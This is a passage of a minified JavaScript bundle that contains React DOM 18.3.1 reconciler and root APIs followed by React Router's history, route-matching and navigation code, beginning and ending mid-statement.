$l(t)?1:0;if(t!=null){if(t=t.$$typeof,t===Ke)return 11;if(t===kt)return 14}return 2}function Mn(t,r){var a=t.alternate;return a===null?(a=$t(t.tag,r,t.key,t.mode),a.elementType=t.elementType,a.type=t.type,a.stateNode=t.stateNode,a.alternate=t,t.alternate=a):(a.pendingProps=r,a.type=t.type,a.flags=0,a.subtreeFlags=0,a.deletions=null),a.flags=t.flags&14680064,a.childLanes=t.childLanes,a.lanes=t.lanes,a.child=t.child,a.memoizedProps=t.memoizedProps,a.memoizedState=t.memoizedState,a.updateQueue=t.updateQueue,r=t.dependencies,a.dependencies=r===null?null:{lanes:r.lanes,firstContext:r.firstContext},a.sibling=t.sibling,a.index=t.index,a.ref=t.ref,a}function fa(t,r,a,l,c,f){var v=2;if(l=t,typeof t=="function")$l(t)&&(v=1);else if(typeof t=="string")v=5;else e:switch(t){case ce:return cr(a.children,c,f,r);case pe:v=8,c|=8;break;case Te:return t=$t(12,a,r,c|2),t.elementType=Te,t.lanes=f,t;case Oe:return t=$t(13,a,r,c),t.elementType=Oe,t.lanes=f,t;case Xe:return t=$t(19,a,r,c),t.elementType=Xe,t.lanes=f,t;case We:return ma(a,c,f,r);default:if(typeof t=="object"&&t!==null)switch(t.$$typeof){case ye:v=10;break e;case Ae:v=9;break e;case Ke:v=11;break e;case kt:v=14;break e;case ht:v=16,l=null;break e}throw Error(o(130,t==null?t:typeof t,""))}return r=$t(v,a,r,c),r.elementType=t,r.type=l,r.lanes=f,r}function cr(t,r,a,l){return t=$t(7,t,l,r),t.lanes=a,t}function ma(t,r,a,l){return t=$t(22,t,l,r),t.elementType=We,t.lanes=a,t.stateNode={isHidden:!1},t}function Ll(t,r,a){return t=$t(6,t,null,r),t.lanes=a,t}function Dl(t,r,a){return r=$t(4,t.children!==null?t.children:[],t.key,r),r.lanes=a,r.stateNode={containerInfo:t.containerInfo,pendingChildren:null,implementation:t.implementation},r}function b0(t,r,a,l,c){this.tag=r,this.containerInfo=t,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=ps(0),this.expirationTimes=ps(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=ps(0),this.identifierPrefix=l,this.onRecoverableError=c,this.mutableSourceEagerHydrationData=null}function Ml(t,r,a,l,c,f,v,_,S){return t=new b0(t,r,a,_,S),r===1?(r=1,f===!0&&(r|=8)):r=0,f=$t(3,null,null,r),t.current=f,f.stateNode=t,f.memoizedState={element:l,isDehydrated:a,cache:null,transitions:null,pendingSuspenseBoundaries:null},Xs(f),t}function z0(t,r,a){var l=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:ue,key:l==null?null:""+l,children:t,containerInfo:r,implementation:a}}function pf(t){if(!t)return Bn;t=t._reactInternals;e:{if(Yn(t)!==t||t.tag!==1)throw Error(o(170));var r=t;do{switch(r.tag){case 3:r=r.stateNode.context;break e;case 1:if(yt(r.type)){r=r.stateNode.__reactInternalMemoizedMergedChildContext;break e}}r=r.return}while(r!==null);throw Error(o(171))}if(t.tag===1){var a=t.type;if(yt(a))return Dd(t,a,r)}return r}function ff(t,r,a,l,c,f,v,_,S){return t=Ml(a,l,!0,t,c,f,v,_,S),t.context=pf(null),a=t.current,l=ft(),c=Ln(a),f=dn(l,c),f.callback=r??null,An(a,f,c),t.current.lanes=c,vo(t,c,l),Et(t,l),t}function va(t,r,a,l){var c=r.current,f=ft(),v=Ln(c);return a=pf(a),r.context===null?r.context=a:r.pendingContext=a,r=dn(f,v),r.payload={element:t},l=l===void 0?null:l,l!==null&&(r.callback=l),t=An(c,r,v),t!==null&&(Kt(t,c,v,f),Wi(t,c,v)),v}function ha(t){return t=t.current,t.child?(t.child.tag===5,t.child.stateNode):null}function mf(t,r){if(t=t.memoizedState,t!==null&&t.dehydrated!==null){var a=t.retryLane;t.retryLane=a!==0&&a<r?a:r}}function Fl(t,r){mf(t,r),(t=t.alternate)&&mf(t,r)}function T0(){return null}var vf=typeof reportError=="function"?reportError:function(t){console.error(t)};function Ul(t){this._internalRoot=t}ga.prototype.render=Ul.prototype.render=function(t){var r=this._internalRoot;if(r===null)throw Error(o(409));va(t,r,null,null)},ga.prototype.unmount=Ul.prototype.unmount=function(){var t=this._internalRoot;if(t!==null){this._internalRoot=null;var r=t.containerInfo;sr(function(){va(null,t,null,null)}),r[an]=null}};function ga(t){this._internalRoot=t}ga.prototype.unstable_scheduleHydration=function(t){if(t){var r=Qc();t={blockedOn:null,target:t,priority:r};for(var a=0;a<bn.length&&r!==0&&r<bn[a].priority;a++);bn.splice(a,0,t),a===0&&ed(t)}};function Zl(t){return!(!t||t.nodeType!==1&&t.nodeType!==9&&t.nodeType!==11)}function ya(t){return!(!t||t.nodeType!==1&&t.nodeType!==9&&t.nodeType!==11&&(t.nodeType!==8||t.nodeValue!==" react-mount-point-unstable "))}function hf(){}function C0(t,r,a,l,c){if(c){if(typeof l=="function"){var f=l;l=function(){var P=ha(v);f.call(P)}}var v=ff(r,l,t,0,null,!1,!1,"",hf);return t._reactRootContainer=v,t[an]=v.current,Co(t.nodeType===8?t.parentNode:t),sr(),v}for(;c=t.lastChild;)t.removeChild(c);if(typeof l=="function"){var _=l;l=function(){var P=ha(S);_.call(P)}}var S=Ml(t,0,!1,null,null,!1,!1,"",hf);return t._reactRootContainer=S,t[an]=S.current,Co(t.nodeType===8?t.parentNode:t),sr(function(){va(r,S,a,l)}),S}function _a(t,r,a,l,c){var f=a._reactRootContainer;if(f){var v=f;if(typeof c=="function"){var _=c;c=function(){var S=ha(v);_.call(S)}}va(r,v,t,c)}else v=C0(a,r,t,c,l);return ha(v)}Gc=function(t){switch(t.tag){case 3:var r=t.stateNode;if(r.current.memoizedState.isDehydrated){var a=mo(r.pendingLanes);a!==0&&(fs(r,a|1),Et(r,Ge()),(_e&6)===0&&(Fr=Ge()+500,Pn()))}break;case 13:sr(function(){var l=cn(t,1);if(l!==null){var c=ft();Kt(l,t,1,c)}}),Fl(t,1)}},ms=function(t){if(t.tag===13){var r=cn(t,134217728);if(r!==null){var a=ft();Kt(r,t,134217728,a)}Fl(t,134217728)}},Jc=function(t){if(t.tag===13){var r=Ln(t),a=cn(t,r);if(a!==null){var l=ft();Kt(a,t,r,l)}Fl(t,r)}},Qc=function(){return be},Yc=function(t,r){var a=be;try{return be=t,r()}finally{be=a}},as=function(t,r,a){switch(r){case"input":if(Ya(t,a),r=a.name,a.type==="radio"&&r!=null){for(a=t;a.parentNode;)a=a.parentNode;for(a=a.querySelectorAll("input[name="+JSON.stringify(""+r)+'][type="radio"]'),r=0;r<a.length;r++){var l=a[r];if(l!==t&&l.form===t.form){var c=ji(l);if(!c)throw Error(o(90));xc(l),Ya(l,c)}}}break;case"textarea":zc(t,a);break;case"select":r=a.value,r!=null&&yr(t,!!a.multiple,r,!1)}},jc=Al,$c=sr;var R0={usingClientEntryPoint:!1,Events:[Po,Tr,ji,Ac,Oc,Al]},Wo={findFiberByHostInstance:Xn,bundleType:0,version:"18.3.1",rendererPackageName:"react-dom"},B0={bundleType:Wo.bundleType,version:Wo.version,rendererPackageName:Wo.rendererPackageName,rendererConfig:Wo.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:K.ReactCurrentDispatcher,findHostInstanceByFiber:function(t){return t=Fc(t),t===null?null:t.stateNode},findFiberByHostInstance:Wo.findFiberByHostInstance||T0,findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:"18.3.1-next-f1338f8080-20240426"};if(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__<"u"){var wa=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!wa.isDisabled&&wa.supportsFiber)try{gi=wa.inject(B0),Yt=wa}catch{}}return xt.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=R0,xt.createPortal=function(t,r){var a=2<arguments.length&&arguments[2]!==void 0?arguments[2]:null;if(!Zl(r))throw Error(o(200));return z0(t,r,null,a)},xt.createRoot=function(t,r){if(!Zl(t))throw Error(o(299));var a=!1,l="",c=vf;return r!=null&&(r.unstable_strictMode===!0&&(a=!0),r.identifierPrefix!==void 0&&(l=r.identifierPrefix),r.onRecoverableError!==void 0&&(c=r.onRecoverableError)),r=Ml(t,1,!1,null,null,a,!1,l,c),t[an]=r.current,Co(t.nodeType===8?t.parentNode:t),new Ul(r)},xt.findDOMNode=function(t){if(t==null)return null;if(t.nodeType===1)return t;var r=t._reactInternals;if(r===void 0)throw typeof t.render=="function"?Error(o(188)):(t=Object.keys(t).join(","),Error(o(268,t)));return t=Fc(r),t=t===null?null:t.stateNode,t},xt.flushSync=function(t){return sr(t)},xt.hydrate=function(t,r,a){if(!ya(r))throw Error(o(200));return _a(null,t,r,!0,a)},xt.hydrateRoot=function(t,r,a){if(!Zl(t))throw Error(o(405));var l=a!=null&&a.hydratedSources||null,c=!1,f="",v=vf;if(a!=null&&(a.unstable_strictMode===!0&&(c=!0),a.identifierPrefix!==void 0&&(f=a.identifierPrefix),a.onRecoverableError!==void 0&&(v=a.onRecoverableError)),r=ff(r,null,t,1,a??null,c,!1,f,v),t[an]=r.current,Co(t),l)for(t=0;t<l.length;t++)a=l[t],c=a._getVersion,c=c(a._source),r.mutableSourceEagerHydrationData==null?r.mutableSourceEagerHydrationData=[a,c]:r.mutableSourceEagerHydrationData.push(a,c);return new ga(r)},xt.render=function(t,r,a){if(!ya(r))throw Error(o(200));return _a(null,t,r,!1,a)},xt.unmountComponentAtNode=function(t){if(!ya(t))throw Error(o(40));return t._reactRootContainer?(sr(function(){_a(null,null,t,!1,function(){t._reactRootContainer=null,t[an]=null})}),!0):!1},xt.unstable_batchedUpdates=Al,xt.unstable_renderSubtreeIntoContainer=function(t,r,a,l){if(!ya(a))throw Error(o(200));if(t==null||t._reactInternals===void 0)throw Error(o(38));return _a(t,r,a,!1,l)},xt.version="18.3.1-next-f1338f8080-20240426",xt}var Sf;function Bm(){if(Sf)return Wl.exports;Sf=1;function e(){if(!(typeof __REACT_DEVTOOLS_GLOBAL_HOOK__>"u"||typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE!="function"))try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(e)}catch(n){console.error(n)}}return e(),Wl.exports=M0(),Wl.exports}var kf;function F0(){if(kf)return Ea;kf=1;var e=Bm();return Ea.createRoot=e.createRoot,Ea.hydrateRoot=e.hydrateRoot,Ea}var U0=F0();const Z0=Cm(U0);Bm();function Xo(){return Xo=Object.assign?Object.assign.bind():function(e){for(var n=1;n<arguments.length;n++){var o=arguments[n];for(var s in o)({}).hasOwnProperty.call(o,s)&&(e[s]=o[s])}return e},Xo.apply(null,arguments)}var Zn;(function(e){e.Pop="POP",e.Push="PUSH",e.Replace="REPLACE"})(Zn||(Zn={}));const bf="popstate";function q0(e){e===void 0&&(e={});function n(s,u){let{pathname:p,search:d,hash:m}=s.location;return eu("",{pathname:p,search:d,hash:m},u.state&&u.state.usr||null,u.state&&u.state.key||"default")}function o(s,u){return typeof u=="string"?u:Ca(u)}return W0(n,o,null,e)}function qe(e,n){if(e===!1||e===null||typeof e>"u")throw new Error(n)}function gu(e,n){if(!e){typeof console<"u"&&console.warn(n);try{throw new Error(n)}catch{}}}function V0(){return Math.random().toString(36).substr(2,8)}function zf(e,n){return{usr:e.state,key:e.key,idx:n}}function eu(e,n,o,s){return o===void 0&&(o=null),Xo({pathname:typeof e=="string"?e:e.pathname,search:"",hash:""},typeof n=="string"?to(n):n,{state:o,key:n&&n.key||s||V0()})}function Ca(e){let{pathname:n="/",search:o="",hash:s=""}=e;return o&&o!=="?"&&(n+=o.charAt(0)==="?"?o:"?"+o),s&&s!=="#"&&(n+=s.charAt(0)==="#"?s:"#"+s),n}function to(e){let n={};if(e){let o=e.indexOf("#");o>=0&&(n.hash=e.substr(o),e=e.substr(0,o));let s=e.indexOf("?");s>=0&&(n.search=e.substr(s),e=e.substr(0,s)),e&&(n.pathname=e)}return n}function W0(e,n,o,s){s===void 0&&(s={});let{window:u=document.defaultView,v5Compat:p=!1}=s,d=u.history,m=Zn.Pop,h=null,y=w();y==null&&(y=0,d.replaceState(Xo({},d.state,{idx:y}),""));function w(){return(d.state||{idx:null}).idx}function I(){m=Zn.Pop;let A=w(),H=A==null?null:A-y;y=A,h&&h({action:m,location:V.location,delta:H})}function z(A,H){m=Zn.Push;let oe=eu(V.location,A,H);y=w()+1;let Q=zf(oe,y),K=V.createHref(oe);try{d.pushState(Q,"",K)}catch(Y){if(Y instanceof DOMException&&Y.name==="DataCloneError")throw Y;u.location.assign(K)}p&&h&&h({action:m,location:V.location,delta:1})}function B(A,H){m=Zn.Replace;let oe=eu(V.location,A,H);y=w();let Q=zf(oe,y),K=V.createHref(oe);d.replaceState(Q,"",K),p&&h&&h({action:m,location:V.location,delta:0})}function D(A){let H=u.location.origin!=="null"?u.location.origin:u.location.href,oe=typeof A=="string"?A:Ca(A);return oe=oe.replace(/ $/,"%20"),qe(H,"No window.location.(origin|href) available to create URL for href: "+oe),new URL(oe,H)}let V={get action(){return m},get location(){return e(u,d)},listen(A){if(h)throw new Error("A history only accepts one active listener");return u.addEventListener(bf,I),h=A,()=>{u.removeEventListener(bf,I),h=null}},createHref(A){return n(u,A)},createURL:D,encodeLocation(A){let H=D(A);return{pathname:H.pathname,search:H.search,hash:H.hash}},push:z,replace:B,go(A){return d.go(A)}};return V}var Tf;(function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"})(Tf||(Tf={}));function H0(e,n,o){return o===void 0&&(o="/"),K0(e,n,o)}function K0(e,n,o,s){let u=typeof n=="string"?to(n):n,p=Jr(u.pathname||"/",o);if(p==null)return null;let d=Pm(e);G0(d);let m=null,h=ay(p);for(let y=0;m==null&&y<d.length;++y)m=oy(d[y],h);return m}function Pm(e,n,o,s){n===void 0&&(n=[]),o===void 0&&(o=[]),s===void 0&&(s="");let u=(p,d,m)=>{let h={relativePath:m===void 0?p.path||"":m,caseSensitive:p.caseSensitive===!0,childrenIndex:d,route:p};h.relativePath.startsWith("/")&&(qe(h.relativePath.startsWith(s),'Absolute route path "'+h.relativePath+'" nested under path '+('"'+s+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),h.relativePath=h.relativePath.slice(s.length));let y=Vn([s,h.relativePath]),w=o.concat(h);p.children&&p.children.length>0&&(qe(p.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+y+'".')),Pm(p.children,n,w,y)),!(p.path==null&&!p.index)&&n.push({path:y,score:ny(y,p.index),routesMeta:w})};return e.forEach((p,d)=>{var m;if(p.path===""||!((m=p.path)!=null&&m.includes("?")))u(p,d);else for(let h of Nm(p.path))u(p,d,h)}),n}function Nm(e){let n=e.split("/");if(n.length===0)return[];let[o,...s]=n,u=o.endsWith("?"),p=o.replace(/\?$/,"");if(s.length===0)return u?[p,""]:[p];let d=Nm(s.join("/")),m=[];return m.push(...d.map(h=>h===""?p:[p,h].join("/"))),u&&m.push(...d),m.map(h=>e.startsWith("/")&&h===""?"/":h)}function G0(e){e.sort((n,o)=>n.score!==o.score?o.score-n.score:ry(n.routesMeta.map(s=>s.childrenIndex),o.routesMeta.map(s=>s.childrenIndex)))}const J0=/^:[\w-]+$/,Q0=3,Y0=2,X0=1,ey=10,ty=-2,Cf=e=>e==="*";function ny(e,n){let o=e.split("/"),s=o.length;return o.some(Cf)&&(s+=ty),n&&(s+=Y0),o.filter(u=>!Cf(u)).reduce((u,p)=>u+(J0.test(p)?Q0:p===""?X0:ey),s)}function ry(e,n){return e.length===n.length&&e.slice(0,-1).every((s,u)=>s===n[u])?e[e.length-1]-n[n.length-1]:0}function oy(e,n,o){let{routesMeta:s}=e,u={},p="/",d=[];for(let m=0;m<s.length;++m){let h=s[m],y=m===s.length-1,w=p==="/"?n:n.slice(p.length)||"/",I=tu({path:h.relativePath,caseSensitive:h.caseSensitive,end:y},w),z=h.route;if(!I)return null;Object.assign(u,I.params),d.push({params:u,pathname:Vn([p,I.pathname]),pathnameBase:dy(Vn([p,I.pathnameBase])),route:z}),I.pathnameBase!=="/"&&(p=Vn([p,I.pathnameBase]))}return d}function tu(e,n){typeof e=="string"&&(e={path:e,caseSensitive:!1,end:!0});let[o,s]=iy(e.path,e.caseSensitive,e.end),u=n.match(o);if(!u)return null;let p=u[0],d=p.replace(/(.)\/+$/,"$1"),m=u.slice(1);return{params:s.reduce((y,w,I)=>{let{paramName:z,isOptional:B}=w;if(z==="*"){let V=m[I]||"";d=p.slice(0,p.length-V.length).replace(/(.)\/+$/,"$1")}const D=m[I];return B&&!D?y[z]=void 0:y[z]=(D||"").replace(/%2F/g,"/"),y},{}),pathname:p,pathnameBase:d,pattern:e}}function iy(e,n,o){n===void 0&&(n=!1),o===void 0&&(o=!0),gu(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let s=[],u="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(d,m,h)=>(s.push({paramName:m,isOptional:h!=null}),h?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(s.push({paramName:"*"}),u+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):o?u+="\\/*$":e!==""&&e!=="/"&&(u+="(?:(?=\\/|$))"),[new RegExp(u,n?void 0:"i"),s]}function ay(e){try{return e.split("/").map(n=>decodeURIComponent(n).replace(/\//g,"%2F")).join("/")}catch(n){return gu(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+n+").")),e}}function Jr(e,n){if(n==="/")return e;if(!e.toLowerCase().startsWith(n.toLowerCase()))return null;let o=n.endsWith("/")?n.length-1:n.length,s=e.charAt(o);return s&&s!=="/"?null:e.slice(o)||"/"}const sy=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,ly=e=>sy.test(e);function uy(e,n){n===void 0&&(n="/");let{pathname:o,search:s="",hash:u=""}=typeof e=="string"?to(e):e,p;if(o)if(ly(o))p=o;else{if(o.includes("//")){let d=o;o=Am(o),gu(!1,"Pathnames cannot have embedded double slashes - normalizing "+(d+" -> "+o))}o.startsWith("/")?p=Rf(o.substring(1),"/"):p=Rf(o,n)}else p=n;return{pathname:p,search:py(s),hash:fy(u)}}function Rf(e,n){let o=n.replace(/\/+$/,"").split("/");return e.split("/").forEach(u=>{u===".."?o.length>1&&o.pop():u!=="."&&o.push(u)}),o.length>1?o.join("/"):"/"}function Gl(e,n,o,s){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+n+"` field ["+JSON.stringify(s)+"].  Please separate it out to the ")+("`to."+o+"` field. Alternatively you may provide the full path as ")+'a string in <Link to="..."> and the router will parse it for you.'}function cy(e){return e.filter((n,o)=>o===0||n.route.path&&n.route.path.length>0)}function yu(e,n){let o=cy(e);return n?o.map((s,u)=>u===o.length-1?s.pathname:s.pathnameBase):o.map(s=>s.pathnameBase)}function _u(e,n,o,s){s===void 0&&(s=!1);let u;typeof e=="string"?u=to(e):(u=Xo({},e),qe(!u.pathname||!u.pathname.includes("?"),Gl("?","pathname","search",u)),qe(!u.pathname||!u.pathname.includes("#"),Gl("#","pathname","hash",u)),qe(!u.search||!u.search.includes("#"),Gl("#","search","hash",u)));let p=e===""||u.pathname==="",d=p?"/":u.pathname,m;if(d==null)m=o;else{let I=n.length-1;if(!s&&d.startsWith("..")){let z=d.split("/");for(;z[0]==="..";)z.shift(),I-=1;u.pathname=z.join("/")}m=I>=0?n[I]:"/"}let h=uy(u,m),y=d&&d!=="/"&&d.endsWith("/"),w=(p||d===".")&&o.endsWith("/");return!h.pathname.endsWith("/")&&(y||w)&&(h.pathname+="/"),h}const Am=e=>e.replace(/\/\/+/g,"/"),Vn=e=>Am(e.join("/")),dy=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),py=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,fy=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function my(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const Om=["post","put","patch","delete"];new Set(Om);const vy=["get",...Om];new Set(vy);function ei(){return ei=Object.assign?Object.assign.bind():function(e){for(var n=1;n<arguments.length;n++){var o=arguments[n];for(var s in o)({}).hasOwnProperty.call(o,s)&&(e[s]=o[s])}return e},ei.apply(null,arguments)}const La=b.createContext(null),jm=b.createContext(null),yn=b.createContext(null),Da=b.createContext(null),_n=b.createContext({outlet:null,matches:[],isDataRoute:!1}),$m=b.createContext(null);function hy(e,n){let{relative:o}=n===void 0?{}:n;no()||qe(!1);let{basename:s,navigator:u}=b.useContext(yn),{hash:p,pathname:d,search:m}=Ma(e,{relative:o}),h=d;return s!=="/"&&(h=d==="/"?s:Vn([s,d])),u.createHref({pathname:h,search:m,hash:p})}function no(){return b.useContext(Da)!=null}function wn(){return no()||qe(!1),b.useContext(Da).location}function Lm(e){b.useContext(yn).static||b.useLayoutEffect(e)}function wu(){let{isDataRoute:e}=b.useContext(_n);return e?Cy():gy()}function gy(){no()||qe(!1);let e=b.useContext(La),{basename:n,future:o,navigator:s}=b.useContext(yn),{matches:u}=b.useContext(_n),{pathname:p}=wn(),d=JSON.stringify(yu(u,o.v7_relativeSplatPath)),m=b.useRef(!1);return Lm(()=>{m.current=!0}),b.useCallback(function(y,w){if(w===void 0&&(w={}),!m.current)return;if(typeof y=="number"){s.go(y);return}let I=_u(y,JSON.parse(d),p,w.relative==="path");e==null&&n!=="/"&&(I.pathname=I.pathname==="/"?n:Vn([n,I.pathname])),(w.replace?s.replace:s.push)(I,w.state,w)},[n,s,d,p,e])}function mb(){let{matches:e}=b.useContext(_n),n=e[e.length-1];return n?n.params:{}}function Ma(e,n){let{relative:o}=n===void 0?{}:n,{future:s}=b.useContext(yn),{matches:u}=b.useContext(_n),{pathname:p}=wn(),d=JSON.stringify(yu(u,s.v7_relativeSplatPath));return b.useMemo(()=>_u(e,JSON.parse(d),p,o==="path"),[e,d,p,o])}function yy(e,n){return _y(e,n)}function _y(e,n,o,s){no()||qe(!1);let{navigator:u}=b.useContext(yn),{matches:p}=b.useContext(_n),d=p[p.length-1],m=d?d.params:{};d&&d.pathname;let h=d?d.pathnameBase:"/";d&&d.route;let y=wn(),w;if(n){var I;let A=typeof n=="string"?to(n):n;h==="/"||(I=A.pathname)!=null&&I.startsWith(h)||qe(!1),w=A}else w=y;let z=w.pathname||"/",B=z;if(h!=="/"){let A=h.replace(/^\//,"").split("/");B="/"+z.replace(/^\//,"").split("/").slice(A.length).join("/")}let D=H0(e,{pathname:B}),V=Sy(D&&D.map(A=>Object.assign({},A,{params:Object.assign({},m,A.params),pathname:Vn([h,u.encodeLocation?u.encodeLocation(A.pathname).pathname:A.pathname]),pathnameBase:A.pathnameBase==="/"?h:Vn([h,u.encodeLocation?u.encodeLocation(A.pathnameBase).pathname:A.pathnameBase])})),p,o,s);return n&&V?b.createElement(Da.Provider,{value:{location:ei({pathname:"/",search:"",hash:"",state:null,key:"default"},w),navigationType:Zn.Pop}},V):V}function wy(){let e=Ty(),n=my(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),o=e instanceof Error?e.stack:null,u={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return b.createElement(b.Fragment,null,b.createElement("h2",null,"Unexpected Application Error!"),b.createElement("h3",{style:{fontStyle:"italic"}},n),o?b.createElement("pre",{style:u},o):null,null)}const Ey=b.createElement(wy,null);class xy extends b.Component{constructor(n){super(n),this.state={location:n.location,revalidation:n.revalidation,error:n.error}}static getDerivedStateFromError(n){return{error:n}}static getDerivedStateFromProps(n,o){return o.location!==n.location||o.revalidation!=="idle"&&n.revalidation==="idle"?{error:n.error,location:n.location,revalidation:n.revalidation}:{error:n.error!==void 0?n.error:o.error,location:o.location,revalidation:n.revalidation||o.revalidation}}componentDidCatch(n,o){console.error("React Router caught the following error during render",n,o)}render(){return this.state.error!==void 0?b.createElement(_n.Provider,{value:this.props.routeContext},b.createElement($m.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Iy(e){let{routeContext:n,match:o,children:s}=e,u=b.useContext(La);return u&&u.static&&u.staticContext&&(o.route.errorElement||o.route.ErrorBoundary)&&(u.staticContext._deepestRenderedBoundaryId=o.route.id),b.createElement(_n.Provider,{value:n},s)}function Sy(e,n,o,s){var u;if(n===void 0&&(n=[]),o===void 0&&(o=null),s===void 0&&(s=null),e==null){var p;if(!o)return null;if(o.errors)e=o.matches;else if((p=s)!=null&&p.v7_partialHydration&&n.length===0&&!o.initialized&&o.matches.length>0)e=o.matches;else return null}let d=e,m=(u=o)==null?void 0:u.errors;if(m!=null){let w=d.findIndex(I=>I.route.id&&m?.[I.route.id]!==void 0);w>=0||qe(!1),d=d.slice(0,Math.min(d.length,w+1))}let h=!1,y=-1;if(o&&s&&s.v7_partialHydration)for(let w=0;w<d.length;w++){let I=d[w];if((I.route.HydrateFallback||I.route.hydrateFallbackElement)&&(y=w),I.route.id){let{loaderData:z,errors:B}=o,D=I.route.loader&&z[I.route.id]===void 0&&(!B||B[I.route.id]===void 0);if(I.route.lazy||D){h=!0,y>=0?d=d.slice(0,y+1):d=[d[0]];break}}}return d.reduceRight((w,I,z)=>{let B,D=!1,V=null,A=null;o&&(B=m&&I.route.id?m[I.route.id]:void 0,V=I.route.errorElement||Ey,h&&(y<0&&z===0?(Ry("route-fallback"),D=!0,A=null):y===z&&(D=!0,A=I.route.hydrateFallbackElement||null)));let H=n.concat(d.slice(0,z+1)),oe=()=>{let Q;return B?Q=V:D?Q=A:I.route.Component?Q=b.createElement(I.route.Component,null):I.route.element?Q=I.route.element:Q=w,b.createElement(Iy,{match:I,routeContext:{outlet:w,matches:H,isDataRoute:o!=null},children:Q})};return o&&(I.route.ErrorBoundary||I.route.errorElement||z===0)?b.createElement(xy,{location:o.location,revalidation:o.revalidation,component:V,error:B,children:oe(),routeContext:{outlet:null,matches:H,isDataRoute:!0}}):oe()},null)}var Dm=(function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e})(Dm||{}),Mm=(function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e})(Mm||{});function ky(e){let n=b.useContext(La);return n||qe(!1),n}function by(e){let n=b.useContext(jm);return n||qe(!1),n}function zy(e){let n=b.useContext(_n);return n||qe(!1),n}function Fm(e){let n=zy(),o=n.matches[n.matches.length-1];return o.route.id||qe(!1),o.route.id}function Ty(){var e;let n=b.useContext($m),o=by(),s=Fm();return n!==void 0?n:(e=o.errors)==null?void 0:e[s]}function Cy(){let{router:e}=ky(Dm.UseNavigateStable),n=Fm(Mm.UseNavigateStable),o=b.useRef(!1);return Lm(()=>{o.current=!0}),b.useCallback(function(u,p){p===void 0&&(p={}),o.current&&(typeof u=="number"?e.navigate(u):e.navigate(u,ei({fromRouteId:n},p)))},[e,n])}const Bf={};function Ry(e,n,o){Bf[e]||(Bf[e]=!0)}function By(e,n){e?.v7_startTransition,e?.v7_relativeSplatPath}function Py(e){let{to:n,replace:o,state:s,relative:u}=e;no()||qe(!1);let{future:p,static:d}=b.useContext(yn),{matches:m}=b.useContext(_n),{pathname:h}=wn(),y=wu(),w=_u(n,yu(m,p.v7_relativeSplatPath),h,u==="path"),I=JSON.stringify(w);return b.useEffect(()=>y(JSON.parse(I),{replace:o,state:s,relative:u}),[y,I,u,o,s]),null}function on(e){qe(!1)}function Ny(e){let{basename:n="/",children:o=null,location:s,navigationType:u=Zn.Pop,navigator:p,static:d=!1,future:m}=e;no()&&qe(!1);let h=n.replace(/^\/*/,"/"),y=b.useMemo(()=>({basename:h,navigator:p,static:d,future:ei({v7_relativeSplatPath:!1},m)}),[h,m,p,d]);typeof s=="string"&&(s=to(s));let{pathname:w="/",search:I="",hash:z="",state:B=null,key:D="default"}=s,V=b.useMemo(()=>{let A=Jr(w,h);return A==null?null:{location:{pathname:A,search:I,hash:z,state:B,key:D},navigationType:u}},[h,w,I,z,B,D,u]);return V==null?null:b.createElement(yn.Provider,{value:y},b.createElement(Da.Provider,{children:o,value:V}))}function Ay(e){let{children:n,location:o}=e;return yy(nu(n),o)}new Promise(()=>{});function nu(e,n){n===void 0&&(n=[]);let o=[];return b.Children.forEach(e,(s,u)=>{if(!b.isValidElement(s))return;let p=[...n,u];if(s.type===b.Fragment){o.push.apply(o,nu(s.props.children,p));return}s.type!==on&&qe(!1),!s.props.index||!s.props.children||qe(!1);let 